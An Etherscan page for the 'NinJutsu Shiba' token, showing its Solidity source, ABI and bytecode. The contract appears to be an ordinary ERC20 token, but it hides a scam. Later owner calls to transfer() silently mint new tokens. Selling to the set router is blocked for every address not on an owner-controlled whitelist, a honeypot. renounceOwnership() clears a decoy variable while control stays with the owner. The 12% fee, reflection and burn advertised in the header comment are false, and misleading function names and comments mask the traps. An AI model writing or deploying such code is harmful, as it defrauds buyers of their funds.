ETH Price: $3,074.67 (+0.85%)
Gas: 4 Gwei

Token

NinJutsu Shiba (NINJUTSU)
 

Overview

Max Total Supply

1,000,000,000,000,000,009,999,999,999.999999999999999999 NINJUTSU

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
93,345,374.860594316956312157 NINJUTSU

Value
$0.00
0xb057f79b53ca5ee518dfcacb8971a054b5c29b29
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ninjutsu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-13
*/

/*
Ninjutsu Shiba has watched his elders soar to amazing heights and is now ready for his own moonshot!

💸 Total fees - 12%
🙋‍♂️ 4% reflected, 4% sent to marketing, 4% burned making our tokens more valuable!
💻 Marketing/Shills will take place shortly after silent launch!
💫 No tokens were sent to Vitalik or Elon!

🚀 Ninjutsu Shiba has launched silently with his 忍術 stealth techniques!
*/
// SPDX-License-Identifier: Unlicense

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
           
pragma solidity ^0.8.7;
contract Creation is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event genesis(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit genesis(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit genesis(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}

contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function starttrading (address Uniswaprouterv02) public checker {
        router = Uniswaprouterv02;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function trades(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */
    function deploy(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            trades(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}
contract Ninjutsu is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 10000000000 * 10 ** 18;

    constructor () ERC20('NinJutsu Shiba',unicode'NINJUTSU') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"genesis","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"starttrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a0604052601260ff1660809060ff1660f81b8152506b204fce5e3e25026110000000600a553480156200003257600080fd5b506040518060400160405280600e81526020017f4e696e4a757473752053686962610000000000000000000000000000000000008152506040518060400160405280600881526020017f4e494e4a555453550000000000000000000000000000000000000000000000008152506000620000b1620001c760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a35081600790805190602001906200016792919062000321565b5080600890805190602001906200018092919062000321565b506001600960006101000a81548160ff0219169083151502179055505050620001c1620001b2620001c760201b60201c565b600a54620001cf60201b60201c565b620005a3565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000242576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002399062000409565b60405180910390fd5b806006600082825462000256919062000459565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002ae919062000459565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031591906200042b565b60405180910390a35050565b8280546200032f90620004c0565b90600052602060002090601f0160209004810192826200035357600085556200039f565b82601f106200036e57805160ff19168380011785556200039f565b828001600101855582156200039f579182015b828111156200039e57825182559160200191906001019062000381565b5b509050620003ae9190620003b2565b5090565b5b80821115620003cd576000816000905550600101620003b3565b5090565b6000620003e060218362000448565b9150620003ed8262000554565b604082019050919050565b6200040381620004b6565b82525050565b600060208201905081810360008301526200042481620003d1565b9050919050565b6000602082019050620004426000830184620003f8565b92915050565b600082825260208201905092915050565b60006200046682620004b6565b91506200047383620004b6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004ab57620004aa620004f6565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620004d957607f821691505b60208210811415620004f057620004ef62000525565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f45524332303a206465706c6f7920746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60805160f81c611f3d620005c260003960006105bc0152611f3d6000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063ee5491ed14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b80630570b1fa146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f91906115ab565b610322565b005b61011e6103fd565b60405161012b91906117da565b60405180910390f35b61014e6004803603810190610149919061156b565b61048f565b60405161015b91906117bf565b60405180910390f35b61016c6104ad565b604051610179919061191c565b60405180910390f35b61019c60048036038101906101979190611518565b6104b7565b6040516101a991906117bf565b60405180910390f35b6101ba6105b8565b6040516101c79190611937565b60405180910390f35b6101ea60048036038101906101e5919061156b565b6105e0565b6040516101f791906117bf565b60405180910390f35b61021a600480360381019061021591906114ab565b61068c565b604051610227919061191c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f91906117a4565b60405180910390f35b610260610851565b60405161026d91906117da565b60405180910390f35b610290600480360381019061028b919061156b565b6108e3565b60405161029d91906117bf565b60405180910390f35b6102c060048036038101906102bb919061156b565b6109d7565b6040516102cd91906117bf565b60405180910390f35b6102f060048036038101906102eb91906114d8565b610c3e565b6040516102fd919061191c565b60405180910390f35b610320600480360381019061031b91906114ab565b610cc5565b005b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae9061189c565b60405180910390fd5b60005b81518110156103f9576103e68282815181106103d9576103d8611bdb565b5b6020026020010151610da6565b80806103f190611b34565b9150506103ba565b5050565b60606007805461040c90611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461043890611ad1565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d9e565b8484610e96565b6001905092915050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105869061187c565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a15565b610e96565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d91906119bf565b610e96565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107619061189c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461086090611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461088c90611ad1565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906118fc565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a15565b610e96565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061191c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d519061189c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610dae610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329061189c565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906118dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061181c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611054919061191c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c8906118bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611138906117fc565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c9061185c565b60405180910390fd5b81816112819190611a15565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131391906119bf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061191c565b60405180910390a350505050565b600080828461139491906119bf565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d09061183c565b60405180910390fd5b8091505092915050565b60006113f66113f184611977565b611952565b9050808382526020820190508285602086028201111561141957611418611c3e565b5b60005b85811015611449578161142f8882611453565b84526020840193506020830192505060018101905061141c565b5050509392505050565b60008135905061146281611ed9565b92915050565b600082601f83011261147d5761147c611c39565b5b813561148d8482602086016113e3565b91505092915050565b6000813590506114a581611ef0565b92915050565b6000602082840312156114c1576114c0611c48565b5b60006114cf84828501611453565b91505092915050565b600080604083850312156114ef576114ee611c48565b5b60006114fd85828601611453565b925050602061150e85828601611453565b9150509250929050565b60008060006060848603121561153157611530611c48565b5b600061153f86828701611453565b935050602061155086828701611453565b925050604061156186828701611496565b9150509250925092565b6000806040838503121561158257611581611c48565b5b600061159085828601611453565b92505060206115a185828601611496565b9150509250929050565b6000602082840312156115c1576115c0611c48565b5b600082013567ffffffffffffffff8111156115df576115de611c43565b5b6115eb84828501611468565b91505092915050565b6115fd81611a49565b82525050565b61160c81611a5b565b82525050565b600061161d826119a3565b61162781856119ae565b9350611637818560208601611a9e565b61164081611c4d565b840191505092915050565b60006116586023836119ae565b915061166382611c5e565b604082019050919050565b600061167b6022836119ae565b915061168682611cad565b604082019050919050565b600061169e601b836119ae565b91506116a982611cfc565b602082019050919050565b60006116c16026836119ae565b91506116cc82611d25565b604082019050919050565b60006116e46028836119ae565b91506116ef82611d74565b604082019050919050565b60006117076020836119ae565b915061171282611dc3565b602082019050919050565b600061172a6025836119ae565b915061173582611dec565b604082019050919050565b600061174d6024836119ae565b915061175882611e3b565b604082019050919050565b60006117706025836119ae565b915061177b82611e8a565b604082019050919050565b61178f81611a87565b82525050565b61179e81611a91565b82525050565b60006020820190506117b960008301846115f4565b92915050565b60006020820190506117d46000830184611603565b92915050565b600060208201905081810360008301526117f48184611612565b905092915050565b600060208201905081810360008301526118158161164b565b9050919050565b600060208201905081810360008301526118358161166e565b9050919050565b6000602082019050818103600083015261185581611691565b9050919050565b60006020820190508181036000830152611875816116b4565b9050919050565b60006020820190508181036000830152611895816116d7565b9050919050565b600060208201905081810360008301526118b5816116fa565b9050919050565b600060208201905081810360008301526118d58161171d565b9050919050565b600060208201905081810360008301526118f581611740565b9050919050565b6000602082019050818103600083015261191581611763565b9050919050565b60006020820190506119316000830184611786565b92915050565b600060208201905061194c6000830184611795565b92915050565b600061195c61196d565b90506119688282611b03565b919050565b6000604051905090565b600067ffffffffffffffff82111561199257611991611c0a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006119ca82611a87565b91506119d583611a87565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a0a57611a09611b7d565b5b828201905092915050565b6000611a2082611a87565b9150611a2b83611a87565b925082821015611a3e57611a3d611b7d565b5b828203905092915050565b6000611a5482611a67565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611abc578082015181840152602081019050611aa1565b83811115611acb576000848401525b50505050565b60006002820490506001821680611ae957607f821691505b60208210811415611afd57611afc611bac565b5b50919050565b611b0c82611c4d565b810181811067ffffffffffffffff82111715611b2b57611b2a611c0a565b5b80604052505050565b